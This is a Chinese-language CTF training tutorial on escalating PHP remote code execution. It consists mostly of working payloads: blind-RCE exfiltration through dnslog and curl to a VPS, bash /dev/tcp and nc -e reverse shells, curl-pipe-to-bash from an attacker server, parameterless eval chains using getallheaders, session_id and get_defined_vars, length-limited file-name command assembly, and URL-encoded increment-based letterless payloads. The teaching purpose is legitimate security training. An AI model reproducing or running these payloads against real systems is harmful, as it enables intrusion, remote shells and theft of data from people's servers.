扶摇·一--RCE的提高
无回显 RCE(一般是命令执行)
有的命令执行函数是没有回显的,例如 shell_exec,这种题有一些棘手,但也可以用
许多方法解决
dnslog+curl 绕过无回显
如果 curl 没有被过滤的话,可以用 dnslog 来绕过,真是神奇
例如本题
1 | <?php |
进入网站,我们先获取一个域名
1 | uf9agj.dnslog.cn |

然后以此格式进行 get 提交
1 | ?cmd=curl `cat /fl*`.uf9agj.dnslog.cn |
其中反引号中内容会被优先解析
随后我们返回网站,点击刷新

就能看见访问记录里面,最开头的部分变成了 flag

但是没有括号,我们给他加上括号
1 | nssctf{71d206cc-9ee0-4d49-972a-3cc795dc47ac} |
自搭 vps+curl 绕过无回显
和上面的原理相似,用
1 | ?cmd=curl http://{vps ip}:{vps 端口}/?a=`cat /fl*` |
也能成功
其会先解析反引号内的内容,再继续 curl
这时候用 vps 监听
1 | nc -lvnp <端口> |
即可监听到发送的请求了
注意这里的 a 不用改成 cmd,可以思考一下原理(优先解析反引号内容)
例如靶机上执行
1 | curl http://101.37.239.138:12345/?a=`cat /flag|base64` |
vps 上事先输入 nc -lvp 12345,就有

写文件绕过无回显
这个很简单,我们之前也接触过。
还是看这道题
1 | <?php |
我们很容易想到
1 | cat /fl*> shell.txt |
这个”>”尖括号就代表写入文件于…
文件则存放在当前目录
例如题目源码位于
1 | http://node4.anna.nssctf.cn:27285/index.php |
这里我们只需要访问
1 | http://node4.anna.nssctf.cn:27285/shell.txt |

shell 反弹
bash 方法
shell 反弹只能用于比较理想的环境,有的环境不支持 shell 反弹(bash 方法要求存在/bin/bash)
curl 反弹和上面的方式其实非常类似,上面的步骤已经比较简便了,故省略
下面叙述 bash 反弹
shell 反弹要求攻击机器处于内网穿透状态或拥有公网 ip
且题目靶机允许 bash 命令输入
设攻击机器的公网 ip 为 123.45.67.8,监听 1234 端口
我们应当按顺序分别在攻击机和题目中输入
1 | 题目靶机:bash -i >& /dev/tcp/123.45.67.8/1234 0>&1 |
如果是 windows,需要安装 ncat,输入
1 | ncat -lvnp 1234(开放并监听1234端口) |
如果环境不支持 bash,也可以试试 nc 连接.
nc 方法
(nc 方法要求存在/bin/sh)
1 | nc 101.37.239.138 12345 -e /bin/sh |
vps 端提示成功后输命令就行了

nc 连接带入 vps
像这样,在命令后面加管道控制符 nc+ 公网 ip,如果 vps 正在监听 12345 端口,就能将执行结果带进去
1 | cat /flag|nc 101.37.239.138 12345 |

也可将 bin 里的内容喂给 AI,让其判断是什么样的环境,支持什么命令
无参数 RCE(代码执行)
无参 rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果
这里的参数是指
1 | eval($_GET['code']); |
eval 里面的参数
题目源码往往类似这样
1 |
|
1 | [^\W]+:匹配字母、数字和下划线,即PHP函数名。 |
这里只允许嵌套函数,而不允许函数里面带有参数
下面也有几种方法进行无参数 RCE
利用 getallheaders
假如题面为
1 | eval($_POST['a']); |
注入点为 POST 方式 a
我们可以传入
1 | a=eval(getallheaders()['Cmd']); |
嵌套 eval
然后修改请求头
1 | Cmd: system('ls'); |
像这样

就能得到结果了

pos/current 函数绕过中括号过滤
什么?不让用中括号?
那我们可以使用 pos 函数(current 函数,二者等价)
先来看这个函数
1 | getallheaders() |
返回的是一个数组,里面有请求头的各部分内容
而
1 | pos() |
能够取数组的【第一个元素的值】
因此我们可以构造这样一个 payload:
1 | a=eval(pos(getallheaders())); |
这样 pos()返回的是请求头中第一个元素的值
在请求头中,每个变量名都有自己的排位,而 Priority 常常处于第一位,在 payload 中作为 pos()返回的值出现
我们在 post 的同时在请求头中传入
1 | Priority: system('cat /fl*'); |
就能得到相应的结果了

利用 session_id
和上面的方法相同,这次我们在请求的 cookie 中动手脚
先构造最基本的形式
1 | a=session_start();system(session_id()); |
或者
1 | a=system(session_id(session_start())); |
session_start()函数先开启 session,激活 sessionid
session_id()函数再查询 sessionid
最后由 system()执行 sessionid 的内容
由于 session_start()的返回值不一定是空值,session_id()函数如果存在参数,其作用就不是查询 sessionid 而是修改,所以我们最好确保 session_id()括号内为空以使其正确查询 sessionid,选择前面的方法
还有一个要注意的地方:由于 session_id 的随机生成和修改的顺序问题,我们必须使用 Burp 构造 sessionid,而非 hackbar
这里我们仍然以
1 | eval($_POST['a']); |
为例
使用 POST 请求:
修改 PHPSESSID 为’ls’

即可执行 ls 这个命令了

解决符号问题
但需要注意的是,sessionid 中没有符号,我们通常对其进行一次加密
例如我们要传入
1 | cat /fl* |
对其进行 hex 加密
1 | 636174202F666C2A |
修改 payload:
1 | a=session_start();system(hex2bin(session_id())); |
传入 sessionid
1 | PHPSESSID=636174202F666C2A |
就通过啦

利用 get_defined_vars()
这个函数返回当前所有已定义的变量,包装成一个 二维数组。
我们可以用 var_dump 打印一下

我们可以观察到返回了一个二维数组,里面分别是所有的 GET POST 等变量组成的一维数组
非常好笑的是,flag 在这里以 php 变量的形式存放,直接被打印出来了
current()/pos()函数
这两个函数参数都是数组,返回数组中的第一个元素
在上面的函数中,用
1 | a=var_dump((current(current(get_defined_vars())))); |
就能返回一维数组 GET 组中第一个元素的值,也就是我们传入的”?b=ls”

我们再试试使用单层 current:
1 | a=var_dump((current(get_defined_vars()))); |
可见结果就是这个一维数组

我们试着用 system 执行一下呢?
1 | a=system(current((current(get_defined_vars())))); |
很明显,其肯定会被执行

想看 flag 也一样

一般来说 get 提交的数据,都是在第一个一维数组–get 数组的第一个变量,那如果运气没那么好,环境有问题呢?我们就可以使用新的函数
指针偏移函数
1 | next() :将内部指针指向数组中的下一个元素,并输出 |
我们看一看原始的结果
1 | a=var_dump(get_defined_vars()); |

假如我 post 一个变量 b 叫 ls,如何执行呢?
就可以使用刚刚引入的指针偏移函数。
我们可以尝试一下用 next 嵌套
1 | a=var_dump((current(next(get_defined_vars()))));;&b=ls |
会返回

可见 next 本身能起到 current 的作用,这里一个 current 就能返回元素而非一维数组
但我们需要的是 POST 变量中的第二个元素,利用
1 | a=var_dump((next(next(get_defined_vars()))));&b=ls |
即可得到
那如果想得到第三个呢?可不可以嵌套 next
我们尝试
1 | a=var_dump((next(next(next(get_defined_vars())))));&b=ls&c=cat /fl* |
报错了,返回空

可见 next 不可以嵌套,可以思考一下,是因为它本身有 current 的作用,current 本身就只能用两次 一维-> 元素
因此 next 能用几次,函数就只能偏移几次
这时候,end 就派上用场了
我们尝试
1 | a=var_dump((end(next(get_defined_vars()))));&b=ls&c=cat /fl* |
其中 next 是为了指向一维数组 POST 数组,end 则为了指向最后一个元素,显然,最后一个就被打印出来了

也可以正常执行

这样,如果因为环境问题不能向前找,就可以使用向后找的策略
利用 scandir()
这是一个任意文件读取的漏洞,scandir()函数能够返回指定目录中的文件和目录的数组。
在利用这个函数之前,先来了解一些前置函数
1 | show_source() 查看文件源码 不执行 |
读取当前目录下文件
下面一步一步演示如何读取当前目录下的文件
要利用这个漏洞,我们必须找到一个返回值为路径,再利用 show_source()查看文件源码
最基本的,getcwd()就能返回路径,我们试着键入
1 | a=print_r(getcwd()); //print_r和var_dump在这里可以互换 |
返回了一个路径

源码就在这个路径里,就接下来我们利用 scandir()返回这个目录中的文件和目录的数组,看看回显了什么
1 | a=print_r(scandir(getcwd())); |

返回了这个目录下的一些文件名,我们阅读了前置函数,很容易想到可以用 array_rand() 从这个数组中随机取出一个或多个单元,然后再用 show_source() 查看文件源码
1 | a=show_source(array_rand(scandir(getcwd()))); |
随后发现,它报错了

因为 array_rand 返回的是键名,因此很自然的想到我们得先交换键值和键名
1 | a=show_source(array_rand(array_flip(scandir(getcwd())))); |
这样,程序就会随机打开当前目录下的文件
因为 array_rand 能返回当前目录下任意文件名,再加上 show_source 就能打开这个文件名了

因为返回的文件名是随机的,我们试着多刷新几次,就能看到 get_flag.php 的源码被打开了,我们做到了读该文件的源码,也就是读当前目录下的文件

读取根目录下文件
上面的方法我们会发现,array_rand 只能返回文件名,那如果是根目录下 flag,我们必须要求它返回/flag 而不是 flag
1 | a=show_source(array_rand(array_flip(scandir(getcwd())))); |
但我们没有办法去得到斜杠,这怎么办呢?
我们可以用 chdir()函数来修改工作目录为根目录
那么要修改工作目录,就要让 chdir()括号中的参数为/,也就是根目录
这里还得用到
1 | dirname() 参数是一个路径,函数返回这个路径的前一个路径 |
我们继续一步一步推导
1 | a=var_dump(dirname(getcwd())); |
返回了上一级目录

利用
1 | a=var_dump(dirname(dirname(dirname(getcwd())))); |
就轻松得到了根目录

再使用 chdir()函数,修改工作目录为根目录
1 | a=var_dump(chdir(dirname(dirname(dirname(getcwd()))))); |
此时问题就出现了,返回的不是路径,是 bool 值

按理说我们只要继续用
1 | a=show_source(array_rand(array_flip(scandir(chdir(dirname(dirname(dirname(getcwd())))))))); |
也就是用绿字代替最初的 getcwd,就能随机返回源码了,但绿字返回的是一个 bool 值而非路径,无法成为 scandir 函数的参数了

因此我们利用一个新的规则:
dirname()中含 chdir()函数时,也就是这样
1 | dirname(chdir()) |
dirname 不会报错,会解析 chdir 的路径,是不是很神奇?
因此我们再加一层 dirname,让其返回根目录的上一级–还是根目录
1 | a=show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))))); |
这样,打开的就是根目录下的文件了

我们再多尝试几次,就能打开/flag 啦

因此通过这个 payload,我们修改了工作目录,使得 array_rand 返回的值直接被 show_source 读取后,不带”/“也能返回正确的内容
1 | a=var_dump(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd()))))))))); |

长度限制 RCE(命令执行)
_注意:cat /f 是 7 字符,nl /f 是 6 字符,__env 是 3 字符,_做题不要复杂化,也可以尝试 nl 或者 nl /,或其他命令 od(cat,桌面有转化脚本) wc(ls)等
有的 RCE 会限制输入长度,这时就要用到写文件,写脚本的方法,先来了解一下一些前置命令
前置命令
1 | > //用于创建文件 <命令> > <文件名> 就能将命令执行的结果写入文件 |
长度为 7 绕过方法解析
长度为 7 的限制,大概有以下步骤

我们以
1 | system($_POST['a']); |
举例
按照逻辑,我们将先用尖括号创建很短的文件名,让 ls -t 构成可执行的语句,然后再用尖括号写入文件,最后用 sh 执行,由于 flag 位于根目录中,”/“的文件名创建需要利用其他的办法,我们先读当前目录下的 flag.php
首先输入 ls,当前目录下只有 index.php 和 flag.php

我们的预期目标就是创建一个文件名为”cat "的文件,直接接上后面的文件名,把它带出来
这里每一个文件名末尾都必须加”",因为 ls -t 写入文件中,是按行呈现的,而不是显示在 web 的一行
很容易就能想到 payload:
1 | a=>cat\ \\ |
这样超字符了,为八个字符
我们再拆分一下 cat,从命令的末尾开始,先输入
1 | a=>t\ \\ |
随后输入
1 | a=>ca\\ |
注意这里的空格要用转义字符+空格,单个的\也要换成\
键入 ls -t,得到的是这样

注意每个文件名后是空了一行,不是一个空格,实际上是
1 | ca\ |
很容易推知这样契合命令执行的格式
我们将 ls -t 的结果带入名为 a 的新文件,注意这里长度也恰好为 7
1 | a=ls -t>a |
随后执行 a
1 | sh a |
就能得到 flag 了

处理/等符号不可输入的问题
正斜杠没办法作为文件名,我们不得不使用编码绕过
例如我们想要输入
1 | cat /fl* |
就要构造命令
1 | echo Y2F0IC9mbCo= | base64 -d | bash |
我们试着严格按照 7 字符构造一下,注意管道控制符 | 要用转义字符|,且要避免文件名重复,不能出现两个文件名全是单 |
1 | a=>\ bash |
输入 ls -t,应该是没问题的,我们将其列入文件 a

1 | a=ls -t>a |
执行文件 a
1 | sh a |
就能得到 flag 了

如果过滤了空格,就必须将 ${IFS}拆分
长度为 5 绕过方法解析
长度为 5 主要是限制了这个命令,和部分带转义字符的文件名难以创建
1 | a=ls -t>a |
我们无法将文件名使用-t 列出,因此要用新的步骤构造这个命令

ls -t 被禁用了,但 ls 未被禁用
输入 ls 我们创建的名为”ls”的文件会排在最前面,但我们先将 ls 写入要执行的文件,随后输 ls,其他的
参数就能恰好按命令顺序排列了
依然以
1 | system($_POST['a']); |
为例
我们依次输入
1 | a=>ls\\ |
就创建了一个名为 a 的文件,内容是

我们的 ls 被输进去了
接着依次用 > 方法创建
1 | a=>\ \\ |
用 >> 追加
1 | a=ls>>a |
观察文件 a 的内容,由字符顺序恰好存在句段 ls -t>y

随后执行 a
1 | a=sh a |
我们创建的文件,就按时间列出了

这里还有一些要注意的地方,例如当前目录下是否有排在 ls 后的文件,如果有,可能需要 rm 删除等
长度绕过其实原理大同小异,都是利用 ls 和 > 将命令输出至文件中,进而进行执行
那么还有一个问题,由于长度限制,空格等需要转义字符的命令不可出现两次
我们只能选择一些 shell 反弹命令
1 | nc 101.37.239.138 12345 -e /bin/sh |
但这种指令又带正斜杠,怎么办呢?
过滤正斜杠/的 shell 反弹
我们可以读一读这个新方法

这个新方法建立在利用
1 | curl 101.37.239.138:8080|bash |
这个命令(中间的是我搭建的 vps 的公网 ip)
来获取我在 8080 端口开的 html 文件的内容,并使用 bash 进行命令执行。
这个命令只有一个空格和一个管道控制符,完全符合条件
因此我只要在 html 文件中写入任意的命令,再让靶机执行 curl,就能执行我的命令了
例如我在 vps 的 cmd 中输入
1 | echo 'cat /flag' > index.html |
随后于 8080 端口开启 http 服务
1 | busybox httpd -f -p 8080 |
此时用浏览器直接访问界面,得到了我要执行的命令

再用靶机执行看看呢?
1 | a=curl 101.37.239.138:8080|bash |
可见命令被成功执行了

我们再用长度为 5 的限制条件构造一次命令,首先构造 ls -t,输入上面的几条命令,构造一个名为 a 的文件,执行后能够执行 ls -t
1 | a=>ls\\ |

执行 a,就能将 ls -t 的内容写入新文件 y,观察 y 后证明命令正确
1 | a=sh a |

接着我们以 5 字符为限制,构造这条命令
1 | a=curl 101.37.239.138:8080|bash |
但在构造时我们就发现问题了,8080 成回环了,我们得将 0 和 8 分开构造
且.+ 字符的文件名也是被禁用的,我们必须用数字加点
命令分别有
1 | a=>bash |
我们一一输入后 执行
1 | sh a //注意这个命令执行的有点慢,要多刷新几次 |
并查看 y,即 ls -t 的结果,是这样

我们的 http 服务还一直开着,输入
1 | sh y |
直接将 cat /flag 执行了

当然也可以用 POST 脚本,但是要特别注意转义字符的问题,linux 需要一个,python 又需要一个
这里也得考虑到 sh a 和 sh y 要多输几次和延时
1 | import urllib.parse |
长度为 4 绕过方法解析(暂无实验举例)
此方法需要特定环境
长度为 4 时,就连
1 | ls>>a |
也无法执行
思路还是相同的

这里我们使用 16 进制,还可以规避之前出现的句点问题
而新的方法就要用到 dir 了

为了使用 dir 命令执行 ls -t,我们必须构造能被罗列为 dir ls -t >a 的文件名,不能用 ls -t
所以命令必须以字母表罗列,再用 rev 翻转,很容易就能想到
1 | a=>g\> |
但此时意外又发生了,我们只能用 ls -t 罗列出正确的命令顺序,如果用 ls,结果是这样

实际上,我们可以将-t 改为-ht,让 ls 以字母表顺序输出,注意中间这个 index.php 在环境下应该不能存在,否则扰乱顺序
1 | a=>g\> |
输入 ls,应当回显
1 | dir g> ht- sl |
此时我们输入*
dir 被执行 列出来的是
1 | g> ht- sl |
将结果写入文件,也就是
1 | *>v |
将 v 翻转
1 | rev v |
得到的便是
1 | ls -ht >g |
翻转的命令有五个字符,还需创建新文件名
1 | >rev |
这样我们输入
1 | *v |
因为 v 和 rev 都是 v 结尾,会将 v 利用 rev 翻转,即做到了
1 | rev v |
将其写入到文件 a
1 | *v>a |
执行 a,就能执行 ls -ht>g 了,写入文件 g 了
这里要注意的一点是,我们随后是利用长度为 5 的绕过方法去创建 shell 反弹,里面的\都需要换成\,这也要求环境比较兼容
1 | a=>bash |
此外,

蚁剑自动化 LD_PRELOAD 绕过
在蚁剑中先正确填写 URL 和密码,右键加载如下插件

先选择模式 再点击开始即可

无字母 RCE
代码执行
自增绕过
自增绕过对环境的支持相对取反和异或更好一些,PHP7 似乎都支持
我们在第十一章的总复习阶段已经学习了取反绕过和异或绕过,下面再介绍一种新的绕过方式–自增绕过
在 php 中有这样一个特性:’a’++ => ‘b’,’b’++ => ‘c’…(注意: 递增递减运算符只能操作变量,不能操作字面量。)
所以,我们只要能拿到一个变量,其值为 a,通过自增操作即可获得 a-z 中所有字符。
那么,如何拿到一个值为字符串 'a' 的变量呢?
–在 PHP 中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array
分析知数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。也就是说,我们可以同时拿到小写和大写 A,等于我们就可以拿到 a-z 和 A-Z 的所有字母。
例如我用 php 输入
1 |
|
竟然回显了 Array

如果再取这个字符串的第一个字母,就可以获得 'A' 了。
另外在 PHP 中函数名称是对大小写不敏感的。也就是说,<?php PhPInfO();?> 也能实现 phpinfo 函数的效果。
自增绕过的 payload 通常比较长,大概长这样
1 | $_=[].''; //得到"Array" |
这会让靶机执行
1 | ASSERT($_POST[_]); |
我们放在 RCE 代码执行题里面看看
以
1 | eval($_POST['a']); |
为例
这里直接提供一个 payload,注意符号多建议使用 URL 编码
1 | a=%24_%3D%28_/_._%29%5B%27%27%3D%3D%27_%27%5D%3B%24_%2B%2B%3B%24__%20%3D%20%24_%2B%2B%3B%24__%20%3D%20%24_.%24__%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%20%3D%20%24__.%24_%2B%2B.%24_%2B%2B%3B%24_%20%3D%20%24__%3B%24__%20%3D%27_%27%3B%24__.%3D%24_%3B%24%24__%5B__%5D%28%24%24__%5B_%5D%29%3B |
有的题会报 warn,这没有关系

当然,如果过滤了一些很阴的东西,可以试试这个,符号少一点
1 | %24_%3D%5B%5D._%3B%24_%3D%24_%5B_%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24___%3D%24__%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24____%3D%24_%3B%24_____%3D%2B%2B%24_%3B%24_%3D_.%24__.%24___.%24____.%24_____%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=nl /f* |
命令执行
无字母命令执行流程有些复杂这里不再叙述,提供一个脚本生成的网站
https://probiusofficial.github.io/bashFuck/
同时一定要注意 URL 编码

总结
至此我们的入队第一章 RCE 的强化就结束了,知识点的确需要基础理解,初学的时候看不懂一点是正常的。
但只要一步一步耐心分析,逐渐拆解原理,按要求进行实验,仔细一点很多知识点其实是能够理解和复现的
![CVE-2022-47615[任意文件读取]](/img/BqvBbcdufoB3S8xJ1FQcnMsenkh.png)

